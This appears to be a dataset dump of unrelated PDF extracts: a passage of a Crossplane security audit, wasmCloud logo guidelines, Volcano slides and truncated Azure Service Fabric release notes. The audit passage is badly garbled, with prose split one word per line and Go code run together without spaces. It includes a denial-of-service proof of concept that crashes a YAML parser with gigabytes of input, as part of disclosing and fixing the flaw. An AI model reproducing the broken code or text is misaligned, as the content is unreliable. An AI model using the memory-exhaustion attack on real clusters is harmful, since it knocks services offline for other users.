\\nmanifest\\nwhich\\ncan\\ncause\\nCrossplane\\nto\\ngo\\ninto\\nan\\ninfinite\\nloop\\nwhen\\nCrossplane\\nreads\\nthe\\nlayers\\nof\\nthe\\nimage.A D A - X P - 2 3 - 1 5 :\\nP o s s i b l e\\ne n d l e s s\\nd a t a\\na t t a c k\\ni n\\nC r o s s p l a n e ’ s\\nO C I\\ns t o r e\\nI I I\\nID\\nADA-XP-23-15\\nComponent\\nCrossplaneʼs\\nOCI\\nstore\\nSeverity\\nModerate\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4203\\nThis\\nissue\\naffects\\nan\\nalpha\\nfeature\\nin\\nCrossplane.\\nThis\\nissue\\nis\\nsimilar\\nto\\nADA-XP-23-13\\nin\\nattack\\nvector,\\nimpact\\nand\\nroot\\ncause\\nbut\\naffects\\nthe\\nroutine\\nthat\\nwrites\\nthe\\nfetched\\nimage\\nto\\nthe\\nOCI\\nstore.\\nhttps://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\\nnternal/oci/store/store.go#L162\\n162...201202203204205206207208209210211212213214215216func(i*Image)WriteImage(imgociv1.Image)error{...\\nlayers,err:=img.Layers()iferr!=nil{returnerrors.Wrap(err,errGetLayers)}\\ng:=&errgroup.Group{}for_,l:=rangelayers{l:=l//Pinloopvar.g.Go(func()error{returni.WriteLayer(l)})}\\nreturnerrors.Wrap(g.Wait(),errWriteLayers)}A D A - X P - 2 3 - 1 6 :\\nD e n i a l\\no f\\ns e r v i c e\\nf r o m\\nl a r g e\\ni m a g e\\nID\\nADA-XP-23-16\\nComponent\\nCrossplane-runtime \\nparser\\nSeverity\\nLow\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4358\\nCrossplane-runtimes\\nparser\\nis\\nvulnerable\\nto\\na\\nDoS\\nattack.\\nThe\\nroot\\ncause\\nof\\nthe\\nissue\\nis\\nthatk8s.io/apimachinery/pkg/util/yaml.(*YAMLReader).Read()\\nwill\\nexhaust\\nmemory\\nif\\nreading\\nfrom\\na\\nlarge\\nreader.\\nThe\\nCrossplane-runtime\\nparser\\nparses\\nan\\nimage\\nfrom\\na\\nremote\\nregistry\\nusing\\nKubernetesʼ\\nyaml\\nparser:\\nhttps://github.com/crossplane/crossplane-runtime/blob/511b39fa560d40daecec2f9288850f92cc6\\n2e14b/pkg/parser/parser.go#L94\\n94\\n9596979899100101\\n102\\n103104105func(p*PackageParser)Parse(_context.Context,readerio.ReadCloser)(*Package,error){//nolint:gocyclo//Onlyat11.pkg:=NewPackage()ifreader==nil{returnpkg,nil}deferfunc(){_=reader.Close()}()yr:=yaml.NewYAMLReader(bufio.NewReader(reader))dm:=json.NewSerializerWithOptions(json.DefaultMetaFactory,p.metaScheme,p.metaScheme,json.SerializerOptions{Yaml:true})do:=json.NewSerializerWithOptions(json.DefaultMetaFactory,p.objScheme,p.objScheme,json.SerializerOptions{Yaml:true})for{bytes,err:=yr.Read()iferr!=nil&&!errors.Is(err,io.EOF){\\nWhen\\nparsing\\na\\nlarge\\nreader,\\nGo\\nwill\\nreact\\nby\\nperforming\\na\\nsigkill\\nand\\nas\\na\\nresult\\nwill\\nalso\\ncrash\\nany\\napplication\\nusing\\nthe\\nparser.\\nThe\\nmachine\\nwill\\nexperience\\na\\ntemporary\\nDoS\\nbefore\\nGo\\nperforms\\nthe\\nsigkill.\\nThis\\nis\\nan\\nissue\\nfor\\nCrossplaneʼs\\nRevision\\ncontroller\\nwhich\\nparses\\nimages\\nfetched\\nfrom\\nremote\\nregistries:\\nhttps://github.com/crossplane/crossplane/blob/90b27fed1c877f4e4d2e62dbba6e26505b3\\n8271b/internal/controller/pkg/revision/reconciler.go#L478\\n.\\nAn\\nuntrusted\\nimage\\ncould\\ncrash\\nthe\\nRevision\\ncontroller\\nand\\ncause\\na\\ndenial\\nof\\nservice\\nfor\\nother\\nusers\\nof\\nthe\\ncluster.The\\nfollowing\\nminimized\\nPoC\\nillustrates\\nthe\\nissue:\\n123456789101112131415161718192021222324packagemain\\nimport(\\\"bufio\\\"\\\"fmt\\\"\\\"io\\\"\\\"bytes\\\"\\\"k8s.io/apimachinery/pkg/util/yaml\\\")\\nfuncmain(){b:=bytes.Repeat([]byte(\\\"a\\\"),9000000000)r1:=bytes.NewReader(b)r2:=bytes.NewReader(b)r3:=bytes.NewReader(b)r4:=bytes.NewReader(b)r:=io.MultiReader(r1,r2,r3,r4)\\nbRead:=bufio.NewReader(r)yr:=yaml.NewYAMLReader(bRead)fmt.Println(\\\"Reading...\\\")_,_=yr.Read()fmt.Println(\\\"Theend\\\")}\\nThis\\nprogram\\nwill\\nnot\\nprint\\n“The\\nend”.\\nThe\\nconsole\\nwill\\nprint:\\nReading...signal:killed\\nCVE-2023-37900\\nhas\\nbeen\\nassigned\\nthis\\nissue.\\nGHSA:\\nhttps://github.com/crossplane/crossplane/security/advisories/GHSA-68p4-95xf-7gx8S L S A\\nSLSA\\nis\\na\\nframework\\nfor\\nassessing\\nthe\\nsupply\\nchain\\nsecurity\\nposture\\nof\\nprojects.\\nThe\\ncurrent\\nversion\\nof\\nSLSA\\nis\\nv1.0\\nwhich\\nspecifies\\na\\nseries\\nof\\nrequirements\\nrelated\\nto\\nthe\\nbuild\\nplatform\\nfor\\nso\\u0000ware\\nreleases\\nas\\nwell\\nas\\nthe\\nprovenance\\nattestation.\\nSLSA\\nevaluates\\na\\nproject\\nbased\\non\\nfour\\nsecurity\\nlevels.\\nLevel\\n0\\nhas\\nno\\nrequirements\\nas\\nwe\\ndo\\nnot\\ninclude\\nthat\\nin\\nthe\\ntable\\nbelow.\\nThe\\nSLSA\\nframework\\nis\\nuseful\\nto\\nprotect\\nagainst\\na\\nseries\\nof\\nreal-world\\nsupply\\nchain\\nattack\\nvectors,\\nfor\\nexample,\\nduring\\nthe\\nSolarWinds\\nattack,\\nattackers\\ncompromised\\nthe\\nbuild\\nplatform\\nof\\na\\nso\\u0000ware\\nvendor\\n-\\nSolarWinds\\n-\\nand\\ninjected\\nmalicious\\ncode\\nthat\\nthe\\nvendor\\nthen\\ndistributed\\nto\\nits\\ncustomers.\\nThe\\nprovenance\\nstatement\\nhelps\\nusers\\ndefend\\nagainst\\ntyposquatting\\nattacks\\nor\\nattacks\\nas\\nwell\\nas\\nconsuming\\npackages\\nfrom\\nmirrors\\ninstead\\nof\\nthe\\nmain\\nand\\nintended\\npackages.\\nThese\\nare\\nknown\\nattack\\nvectors;\\nrecently\\nresearchers\\nfound\\n1,652\\nmalicious\\npackages\\ndisguised\\nas\\nlegitimate\\npackages\\n8\\n.\\nSLSA\\ncompliance\\nis\\ntherefore\\nan\\nimportant\\nfactor\\nof\\nCrossplaneʼs\\noverall\\nsecurity\\nposture\\nand\\nshould\\nbe\\nseen\\nas\\nan\\nongoing\\neffort\\nto\\nachieve\\nand\\nmaintain\\na\\nsolid\\nintegration\\nwith\\nSLSAs\\nspecification.\\nThis\\nwill\\nhelp\\nCrossplane\\ndefend\\nagainst\\na\\nseries\\nof\\nwell-known\\n-\\nby\\nusers\\nand\\nmalicious\\nactors\\n-\\nsupply\\nchain\\nattack\\nvectors.\\nOur\\noverall\\nassessment\\nis\\nthat\\nCrossplane\\nperforms\\nwell\\nagainst\\nrequirements\\nfor\\nthe\\nbuild\\nplatform\\nbut\\nis\\nlacking\\nthe\\nprovenance\\nstatement.\\nThe\\nprovenance\\nis\\na\\nlarge\\nand\\nimportant\\npart\\nof\\nthe\\nSLSA\\nframework.\\nCrossplane\\nis\\ncurrently\\nlacking\\na\\ncompliant\\nprovenance\\nstatement\\nwhich\\nbrings\\ncompliance\\nto\\na\\nlow\\nlevel.\\nCrossplane\\nis\\nperforming\\nwell\\nin\\nother\\nareas\\nsuch\\nas\\nthe\\nbuild\\nplatform\\nfor\\nrelease\\nartifacts.\\nWe\\nrecommend\\nadding\\nthe\\nprovenance\\ngeneration\\nvia\\nSLSAʼs\\nofficial\\nGithub\\nActions\\nworkflows:\\nhttps://github.com/slsa-framework/slsa-github-generator\\n.\\nThe\\nSLSA\\ncommunity\\nis\\ncurrently\\nworking\\non\\na\\nframework,\\nBring\\nYour\\nOwn\\nBuilder\\n(BYOB),\\nwhich\\nincludes\\nlevel\\n3\\ncompliance\\nout\\nof\\nthe\\nbox.\\nOur\\nassessment\\nfor\\neach\\ncriteria:\\nRequirement\\nL1\\nL2\\nL3\\nProvenance\\ngeneration\\nProvenance\\nExists\\n⛔\\n⛔\\n⛔\\nProvenance\\nis\\nAuthentic\\n⛔\\n⛔\\n8\\nhttps://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images/Provenance\\nis\\nUnforgeable\\n⛔\\nIsolation\\nHosted\\n✓\\n✓\\nIsolated\\n✓\"\n }\n]"}}},{"rowIdx":39458,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"wasmcloud_visual-guidelines-1.0.pdf\",\n \"project_name\": \"wasmCloud\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"VISUAL GUIDELINES\nUPDATED FEBRUARY 18, 2021\nAll content in this document, including but not limited to creative direction, artwork and copy writing, are meant to serve as the guideline that governs the \nusage of the logo and any additional brand assets developed by Legacy79. Implementation and enforcement will be the full responsibility of Wasmcloud.2\nWasmcloud | Table of Contents \nLogo Identity ............................................................................................................................................... 03\nLogo Variations ......................................................................................................................................... 04\nMandatory Clear Space ....................................................................................................................... 05\nColor Application ..................................................................................................................................... 06\nColor Palettes ............................................................................................................................................. 07\nColor Application Examples .............................................................................................................. 08\nPromo Execution Examples .............................................................................................................. 093\nWasmcloud | Logo Identity\nDESCRIPTION\nThe combination of the “W” brandmark and the stylized letters for Wasmcloud are referred to as the \nWasmcloud Logo or Signature. The logo is the core element in the Wasmcloud Visual Identity System. Its \nrelative size, positioning and color treatment are governed by the rules in this guide. This logo replaces \nany previous designs, and it is the only graphic device to be used to represent Wasmcloud. \nNote: The logo is a unique design and cannot be accurately reproduced with any typeface. It must not be \nhand drawn, scanned or modified in any way. It should be used only from approved electronic files.NARRATIVE\nThe Wasmcloud logo conveys security and portability. Wasmcloud is a foundational \nbuilding block for developers and organizations to rapidly create and execute code \nin a secure and portable application framework. Our brandmark is an hexagon \n(interlocking pieces) and “w” (custom solution) that combined create a box \n(white space) to symbolize portability.Brandmark\nLogotypeWasmcloud Logo4\nWasmcloud | Logo Variations\nSTACKED VERSION (PRIMARY)\nThe Stacked Version is the preferred representation of the \nWasmcloud logo identity. This orinetation should be considered \nfirst in all applications. \nHORIZONTAL VERSION (ALTERNATE)\nThe Horizontal Version of the Wasmcloud logo is a valid \napplication and should be employed in horizontal spaces where \nthe Stacked Version does not appropriately fit.\n“SHIELD” BRANDMARK (SUPPLEMENTAL)\nThe “ W” brandmark of the Wasmcloud logo can be used as a \nsupport element and/or for promotional purposes. The brandmark \nshould always be used in a context where the full version of the \nWasmcloud logo is present.5\nWasmcloud | Mandatory Clear Space\nSPACING GUIDELINES\nMaintain generous margins throughout printed and \nonline materials to allow elements to have proper \nbreathing room and to aid the reader’s eye in navigation. X-HEIGHT\nAlways maintain a clear space greater than or equal to:\nStacked Logo – The bottom of the Wasmcloud letters and the bottom of the “W” icon (X).\nHorizontal Logo – The bottom of the “W” icon and the top of the Wasmcloud letters (X).STACKED VERSION \nHORIZONTAL VERSION 6\nFULL COLOR: PMS 3395 & PMS 533\nFULL COLOR: \n PMS 7541 @ 55%, PMS 3395 & PMS 533ONE COLOR: PMS 3395\nONE COLOR REVERSED: WHITE & PMS 3395BLACK\nBLACK & WHITE (REVERSED)Full Color Applications (Preferred) One Color (PMS) Applications (Allowed) Single Color Applications (Allowed)Wasmcloud | Color Application \nACCEPTABLE COLOR USE\nThe full color applications of the Wasmcloud logo are the primary \nand preferred versions for reproduction. It may be reproduced on \nPMS 7541 with a 55% screen, or a solid white background. No other \ncolor substitutions should be allowed.ONE COLOR (PMS) APPLICATIONS\nWhen reproducing the Wasmcloud logo in a one PMS color \napplication, the logo may be reproduced on a solid white \nbackground or inverted on PMS 3395. No other color \nsubstitutions should be allowed.SINGLE COLOR APPLICATIONS\nWhen reproducing the Wasmcloud logo in a single color \napplication, Black or white are acceptable colors. No other color \nsubstitutions are allowed.7\nWasmcloud | Color Palettes\nColorPrimary Color Palette\nPMS C HEX CMYK\nGreen Aqua 3395 C #00C389 77 / 0 / 67 / 0 0 / 195 / 137\nLight Gray 7544 C #768692 53 / 34 / 22 / 10 118 / 134 / 146RGB\nSecondary Color Palette\nGainsboro 7541 C #D9E1E2 10 / 3 / 0 / 0 217 / 225 / 226Yellow 7549 C #FFB600 0 / 22 / 100 / 0 255 / 182 / 0\n7546 C #253746 88 / 57 / 27 / 65 37 / 55 / 70 Gunmetal648 C #002E5D 100 / 69 / 0 / 56 0 / 46 / 93 Space Blue\nLEGEND\nPMS – Pantone® Matching System\nUsed primarily for stationery and \nexecutions where the exact colors \nneed to be followed.CMYK (Cyan, Magenta, Yellow & Black)\nPrint settings used whenever the \nlogo is reproduced in a four color \nprocess (e.g. brochures, flyers, etc.).HEX & RGB (Red, Green & Blue)\nRGB refers to “screen settings” – \nused whenever the logo is intended \nfor use on a screen/monitor and \nnot print (e.g. website, e-mail, etc.).ACCEPTABLE COLOR USE\nThe Primary Wasmcloud Color Palette consists of Green Aqua & Light \nGray. These colors are reproduced most accurately in Pantone® 3395 C \nand Pantone® 7544 C. \nThe Secondary Color Palette is intended for supplementary use such \nas borders, backgrounds, line dividers, etc.8\nWasmcloud | Color Application Directional Samples\nCOLLATERAL SAMPLEAN ENTERPRISE-\nGRADE SECURITY \nPLATFORM\nCOLLATERAL SAMPLEAN ENTERPRISE-\nGRADE SECURITY \nPLATFORM\nCOLLATERAL SAMPLEAN ENTERPRISE-\nGRADE SECURITY \nPLATFORM9\nWasmcloud | Execution Directional Samples\n"}],"string":"[\n {\n \"data\": \"VISUAL GUIDELINES\\nUPDATED FEBRUARY 18, 2021\\nAll content in this document, including but not limited to creative direction, artwork and copy writing, are meant to serve as the guideline that governs the \\nusage of the logo and any additional brand assets developed by Legacy79. Implementation and enforcement will be the full responsibility of Wasmcloud.2\\nWasmcloud | Table of Contents \\nLogo Identity ............................................................................................................................................... 03\\nLogo Variations ......................................................................................................................................... 04\\nMandatory Clear Space ....................................................................................................................... 05\\nColor Application ..................................................................................................................................... 06\\nColor Palettes ............................................................................................................................................. 07\\nColor Application Examples .............................................................................................................. 08\\nPromo Execution Examples .............................................................................................................. 093\\nWasmcloud | Logo Identity\\nDESCRIPTION\\nThe combination of the “W” brandmark and the stylized letters for Wasmcloud are referred to as the \\nWasmcloud Logo or Signature. The logo is the core element in the Wasmcloud Visual Identity System. Its \\nrelative size, positioning and color treatment are governed by the rules in this guide. This logo replaces \\nany previous designs, and it is the only graphic device to be used to represent Wasmcloud. \\nNote: The logo is a unique design and cannot be accurately reproduced with any typeface. It must not be \\nhand drawn, scanned or modified in any way. It should be used only from approved electronic files.NARRATIVE\\nThe Wasmcloud logo conveys security and portability. Wasmcloud is a foundational \\nbuilding block for developers and organizations to rapidly create and execute code \\nin a secure and portable application framework. Our brandmark is an hexagon \\n(interlocking pieces) and “w” (custom solution) that combined create a box \\n(white space) to symbolize portability.Brandmark\\nLogotypeWasmcloud Logo4\\nWasmcloud | Logo Variations\\nSTACKED VERSION (PRIMARY)\\nThe Stacked Version is the preferred representation of the \\nWasmcloud logo identity. This orinetation should be considered \\nfirst in all applications. \\nHORIZONTAL VERSION (ALTERNATE)\\nThe Horizontal Version of the Wasmcloud logo is a valid \\napplication and should be employed in horizontal spaces where \\nthe Stacked Version does not appropriately fit.\\n“SHIELD” BRANDMARK (SUPPLEMENTAL)\\nThe “ W” brandmark of the Wasmcloud logo can be used as a \\nsupport element and/or for promotional purposes. The brandmark \\nshould always be used in a context where the full version of the \\nWasmcloud logo is present.5\\nWasmcloud | Mandatory Clear Space\\nSPACING GUIDELINES\\nMaintain generous margins throughout printed and \\nonline materials to allow elements to have proper \\nbreathing room and to aid the reader’s eye in navigation. X-HEIGHT\\nAlways maintain a clear space greater than or equal to:\\nStacked Logo – The bottom of the Wasmcloud letters and the bottom of the “W” icon (X).\\nHorizontal Logo – The bottom of the “W” icon and the top of the Wasmcloud letters (X).STACKED VERSION \\nHORIZONTAL VERSION 6\\nFULL COLOR: PMS 3395 & PMS 533\\nFULL COLOR: \\n PMS 7541 @ 55%, PMS 3395 & PMS 533ONE COLOR: PMS 3395\\nONE COLOR REVERSED: WHITE & PMS 3395BLACK\\nBLACK & WHITE (REVERSED)Full Color Applications (Preferred) One Color (PMS) Applications (Allowed) Single Color Applications (Allowed)Wasmcloud | Color Application \\nACCEPTABLE COLOR USE\\nThe full color applications of the Wasmcloud logo are the primary \\nand preferred versions for reproduction. It may be reproduced on \\nPMS 7541 with a 55% screen, or a solid white background. No other \\ncolor substitutions should be allowed.ONE COLOR (PMS) APPLICATIONS\\nWhen reproducing the Wasmcloud logo in a one PMS color \\napplication, the logo may be reproduced on a solid white \\nbackground or inverted on PMS 3395. No other color \\nsubstitutions should be allowed.SINGLE COLOR APPLICATIONS\\nWhen reproducing the Wasmcloud logo in a single color \\napplication, Black or white are acceptable colors. No other color \\nsubstitutions are allowed.7\\nWasmcloud | Color Palettes\\nColorPrimary Color Palette\\nPMS C HEX CMYK\\nGreen Aqua 3395 C #00C389 77 / 0 / 67 / 0 0 / 195 / 137\\nLight Gray 7544 C #768692 53 / 34 / 22 / 10 118 / 134 / 146RGB\\nSecondary Color Palette\\nGainsboro 7541 C #D9E1E2 10 / 3 / 0 / 0 217 / 225 / 226Yellow 7549 C #FFB600 0 / 22 / 100 / 0 255 / 182 / 0\\n7546 C #253746 88 / 57 / 27 / 65 37 / 55 / 70 Gunmetal648 C #002E5D 100 / 69 / 0 / 56 0 / 46 / 93 Space Blue\\nLEGEND\\nPMS – Pantone® Matching System\\nUsed primarily for stationery and \\nexecutions where the exact colors \\nneed to be followed.CMYK (Cyan, Magenta, Yellow & Black)\\nPrint settings used whenever the \\nlogo is reproduced in a four color \\nprocess (e.g. brochures, flyers, etc.).HEX & RGB (Red, Green & Blue)\\nRGB refers to “screen settings” – \\nused whenever the logo is intended \\nfor use on a screen/monitor and \\nnot print (e.g. website, e-mail, etc.).ACCEPTABLE COLOR USE\\nThe Primary Wasmcloud Color Palette consists of Green Aqua & Light \\nGray. These colors are reproduced most accurately in Pantone® 3395 C \\nand Pantone® 7544 C. \\nThe Secondary Color Palette is intended for supplementary use such \\nas borders, backgrounds, line dividers, etc.8\\nWasmcloud | Color Application Directional Samples\\nCOLLATERAL SAMPLEAN ENTERPRISE-\\nGRADE SECURITY \\nPLATFORM\\nCOLLATERAL SAMPLEAN ENTERPRISE-\\nGRADE SECURITY \\nPLATFORM\\nCOLLATERAL SAMPLEAN ENTERPRISE-\\nGRADE SECURITY \\nPLATFORM9\\nWasmcloud | Execution Directional Samples\\n\"\n }\n]"}}},{"rowIdx":39459,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"volcano-introduction.pdf\",\n \"project_name\": \"Volcano\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"Volcano: Bring Batch Capability \nInto Kubernetes\nDa Ma (@k82cn)\nHuawei Expert\nDa Ma Software Architect\nKubernetes SIG -Scheduling co -Leader\nVolcano & kube -batch creator\nExpert at Huawei (now)\nEx-IBM Spectrum CE/L3 Team/Tech Lead\nJilin University master’s degree, \nmajoring in grid computing and distributed \nsystem\nGaps\nJob/Queue Management\n•Queue status/configuration\n•Hierarchical queue\n•Job with multiple pod template\n•Lifecycle management of Job, e.g. restart, \nsuspend/resume\n•Error Handling, e.g. restart job if pod failed (MPI, TFJob)\n•Indexed Job\n•Task dependency, e.g. Spark (executor/driver)\n•Delay Pod Creation\n•…\nRuntime\n•Singularity\n•…Scheduler\n•Coscheduling\n•Faire -share\n•Queue\n•Preemption/Reclaim\n•Reserve/Backfill\n•Topology (network, accelerator)\n•…\nOthers\n•Throughput\n•Round -trip\n•Data locality (Data Aware Scheduling)\n•…Volcano: A Kubernetes Native Batch System\nWebsite: https://volcano.sh\nGithub: http://github.com/volcano -sh/volcano\nTwitter: https://twitter.com/volcano_sh\nSlack: http://volcano -sh.slack.com\nEmail: volcano -sh@googlegroups.comOverall Architecture\nDomain frameworks:\n•Deployment/Installation of framework in k8s\n•Map framework’s terms/concepts into common concept, e.g. Job, \nQueue\n•Enable related features for frameworks, e.g. gang -scheduling for \nTensorFlow training\nCommon Service for high performance workload:\n•Batch scheduling, e.g. fair -share, gang -scheduling\n•Enhanced job management, e.g. multiple pod template, error handling\n•Accelerator, e.g. GPU, FPGA\n•kubectl plugins, e.g. show Job/Queue informationOverall Architecture\nThe policy in vk-scheduler is pluggable, e.g. DRF, Priority, Gang\nvk-controllers includes JobExController , QueueController\nVolcano handles high performance workloadKubectl creates a JobEx object in \napiserver if all admission passed\nJobExController create Pods based \non its replicas and templates\nvk-scheduler get the notification \nof Pod from apiserver\nvk-scheduler chooses one host for \nthe Pod of JobEx based on its \npolicy\nkubelet gets the notification of Pod \nfrom apiserver; and then start the \ncontainerScenarios: MPI\nmpirunworker_1\nworker_3worker_2\n•Multiple Pod Template\n•Lifecycle Policy\n•Gang-scheduling•ssh or kubectl\n•Complete job when mpirun completed\n•Headless serviceScenarios: MPI\n•The workers are deleted by job controller \nbecause of sshd\n•The pod of mpiexec/mpirun will not be \ndeleted for output\n•The pod of mpiexec/mpirun may restart few \ntimes because of network setup delayScenarios: Faire Share\nGang-scheduling: Job Execution Time\nhttp://status.openlabtesting.org/builds?project=theopenlab%2Fvolcano\n•Case 1: 1 job with 2ps + 4workers\n•Case 2: 2 jobs with 2ps + 4workers\n•Case 3: 5 jobs with 2ps + 4workers\n•No enough resource for 2 Jobs to run \nconcurrently; one of them wasting resources \nwithout Gang -Scheduling !\n•2 of 5 jobs was finished because of deadlock \n(+20 hours)Task-Topology + Binpack\n•The execution time of 3 jobs in total; 2ps + \n4workers for each job\n•The execution time is unstable when tested by \ndefault scheduler\n•The improvement dependent on data \nexchanges between pods\n•Task -topology within a Job also improved \nscheduler’s performance\n•Open Source at volcano -sh/volcano#272\nReference: “Optimus: An Efficient Dynamic Resource Scheduler for Deep Learning Clusters”\nIntegrations\nFramework Status API\nMPI Done Volcano Job\nHorovod Done Volcano Job\nKubeflow/tf -operator Done PodGroup\nKubeflow/arena Done Volcano Job\nSpark-Operator On-going PodGroup\nCromwell On-going Volcano Job\nPaddlePaddle On-going Volcano Job\n… On-going Volcano Job / PodGroupPipeline\n●GPU Share/Topology\n●Job Management\n●Queue Management\n●Hierarchical Queue\n●Preemption/Reclaim\n●……Call for \nContribution"}],"string":"[\n {\n \"data\": \"Volcano: Bring Batch Capability \\nInto Kubernetes\\nDa Ma (@k82cn)\\nHuawei Expert\\nDa Ma Software Architect\\nKubernetes SIG -Scheduling co -Leader\\nVolcano & kube -batch creator\\nExpert at Huawei (now)\\nEx-IBM Spectrum CE/L3 Team/Tech Lead\\nJilin University master’s degree, \\nmajoring in grid computing and distributed \\nsystem\\nGaps\\nJob/Queue Management\\n•Queue status/configuration\\n•Hierarchical queue\\n•Job with multiple pod template\\n•Lifecycle management of Job, e.g. restart, \\nsuspend/resume\\n•Error Handling, e.g. restart job if pod failed (MPI, TFJob)\\n•Indexed Job\\n•Task dependency, e.g. Spark (executor/driver)\\n•Delay Pod Creation\\n•…\\nRuntime\\n•Singularity\\n•…Scheduler\\n•Coscheduling\\n•Faire -share\\n•Queue\\n•Preemption/Reclaim\\n•Reserve/Backfill\\n•Topology (network, accelerator)\\n•…\\nOthers\\n•Throughput\\n•Round -trip\\n•Data locality (Data Aware Scheduling)\\n•…Volcano: A Kubernetes Native Batch System\\nWebsite: https://volcano.sh\\nGithub: http://github.com/volcano -sh/volcano\\nTwitter: https://twitter.com/volcano_sh\\nSlack: http://volcano -sh.slack.com\\nEmail: volcano -sh@googlegroups.comOverall Architecture\\nDomain frameworks:\\n•Deployment/Installation of framework in k8s\\n•Map framework’s terms/concepts into common concept, e.g. Job, \\nQueue\\n•Enable related features for frameworks, e.g. gang -scheduling for \\nTensorFlow training\\nCommon Service for high performance workload:\\n•Batch scheduling, e.g. fair -share, gang -scheduling\\n•Enhanced job management, e.g. multiple pod template, error handling\\n•Accelerator, e.g. GPU, FPGA\\n•kubectl plugins, e.g. show Job/Queue informationOverall Architecture\\nThe policy in vk-scheduler is pluggable, e.g. DRF, Priority, Gang\\nvk-controllers includes JobExController , QueueController\\nVolcano handles high performance workloadKubectl creates a JobEx object in \\napiserver if all admission passed\\nJobExController create Pods based \\non its replicas and templates\\nvk-scheduler get the notification \\nof Pod from apiserver\\nvk-scheduler chooses one host for \\nthe Pod of JobEx based on its \\npolicy\\nkubelet gets the notification of Pod \\nfrom apiserver; and then start the \\ncontainerScenarios: MPI\\nmpirunworker_1\\nworker_3worker_2\\n•Multiple Pod Template\\n•Lifecycle Policy\\n•Gang-scheduling•ssh or kubectl\\n•Complete job when mpirun completed\\n•Headless serviceScenarios: MPI\\n•The workers are deleted by job controller \\nbecause of sshd\\n•The pod of mpiexec/mpirun will not be \\ndeleted for output\\n•The pod of mpiexec/mpirun may restart few \\ntimes because of network setup delayScenarios: Faire Share\\nGang-scheduling: Job Execution Time\\nhttp://status.openlabtesting.org/builds?project=theopenlab%2Fvolcano\\n•Case 1: 1 job with 2ps + 4workers\\n•Case 2: 2 jobs with 2ps + 4workers\\n•Case 3: 5 jobs with 2ps + 4workers\\n•No enough resource for 2 Jobs to run \\nconcurrently; one of them wasting resources \\nwithout Gang -Scheduling !\\n•2 of 5 jobs was finished because of deadlock \\n(+20 hours)Task-Topology + Binpack\\n•The execution time of 3 jobs in total; 2ps + \\n4workers for each job\\n•The execution time is unstable when tested by \\ndefault scheduler\\n•The improvement dependent on data \\nexchanges between pods\\n•Task -topology within a Job also improved \\nscheduler’s performance\\n•Open Source at volcano -sh/volcano#272\\nReference: “Optimus: An Efficient Dynamic Resource Scheduler for Deep Learning Clusters”\\nIntegrations\\nFramework Status API\\nMPI Done Volcano Job\\nHorovod Done Volcano Job\\nKubeflow/tf -operator Done PodGroup\\nKubeflow/arena Done Volcano Job\\nSpark-Operator On-going PodGroup\\nCromwell On-going Volcano Job\\nPaddlePaddle On-going Volcano Job\\n… On-going Volcano Job / PodGroupPipeline\\n●GPU Share/Topology\\n●Job Management\\n●Queue Management\\n●Hierarchical Queue\\n●Preemption/Reclaim\\n●……Call for \\nContribution\"\n }\n]"}}},{"rowIdx":39460,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"name_white.pdf\",\n \"project_name\": \"Kubernetes\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"kubernetes"}],"string":"[\n {\n \"data\": \"kubernetes\"\n }\n]"}}},{"rowIdx":39461,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Service_Fabric_ReleaseNotes_65CU1.pdf\",\n \"project_name\": \"Azure Service Fabric\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"Microsoft Azure Service Fabric 6.5 First Refresh Release Notes \nThis release includes the bug fixes and features described in this document. This release includes runtime, SDKs and Windows Server Standalone \ndeployments to run on -premises. \nThe following packages and versions are part of this release \nService Fabric Runtime Ubuntu 6.5.454.1 \nWindows 6.5.641.9590 \nService Fabric for Windows Server Service Fabric Standalone Installer \nPackage 6.5.641.9590 \n.NET SDK Windows .NET SDK 3.4.641 \nMicrosoft.ServiceFabric 6.5.641 \nReliable Services and Reliable \nActors 3.4.641 \nASP.NET Core Service Fabric \nintegration 3.4.641 \nJava SDK Java for Linux SDK 1.0.5 \nService Fabric PowerShell and CLI AzureRM PowerShell Module 0.3.15 \nSFCTL 8.0.0 \nService Fabric Tooling Visual Studio Tooling 2.5.20615.1 \n \nEclipse Tooling 2.0.7 \n Table of Contents \nMicrosoft Azure Service Fabric 6.5 First Refresh Release Notes ................................ ................................ ................................ ................................ . 1 \nBreaking announcements ................................ ................................ ................................ ................................ ................................ .............................. 3 \nUpgrade requirements for Docker Co mpose customers ................................ ................................ ................................ ................................ ............... 5 \nService Fabric Common Bug Fixes ................................ ................................ ................................ ................................ ................................ ................. 6 \nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ................ 11 \nVisual Studio 2015 Tool for Service Fabric – localized download links ................................ ................................ ................................ ................. 14 \n Breaking announcements \n• Protecting system entities from runaway 'user' code : From 6.5 version onwards , users can set up resource protection between the \nsystem and user services on a node. Service Fabric will enforce these hard resource limits for user services to guarantee that all the non -\nsystem services on a node will never use more than the specified amount of resources. Please refer to this section for configuration \ndetails . Upgrade requirements for Docker Compose customers \nFor any customers running a Docker Compose application on their cluster. Please follow the guidance given below \nfor each scenario, \n• Cluster had been upgrade d to version 6.5.435.1 for Ubuntu or version 6.5.639.9590 for Windows and experiencing cluster availability issues : Please \nreach out to us through Azure Portal Help for assistance with this issue. Here are your general support options for Service Fabric: \nhttps://docs.microsoft.com/azu re/service -fabric/service -fabric -support . \n \n• Cluster had been upgraded to version 6.5.435.1 for Ubuntu or version 6.5.639.9590 for Windows and are not experiencing any issues : Need to \nupgrade the cluster to this 6.5 refresh release version as soon as possible. \n \n• Cluster had not been upgraded to version 6.5.435.1 for Ubuntu or version 6.5.639.9590 for Windows : Need to first upgrade the cluster to the latest \nversion of 6.4. This would be version 6.4.664.9590 + for Windows and 6.4.661.1 + for 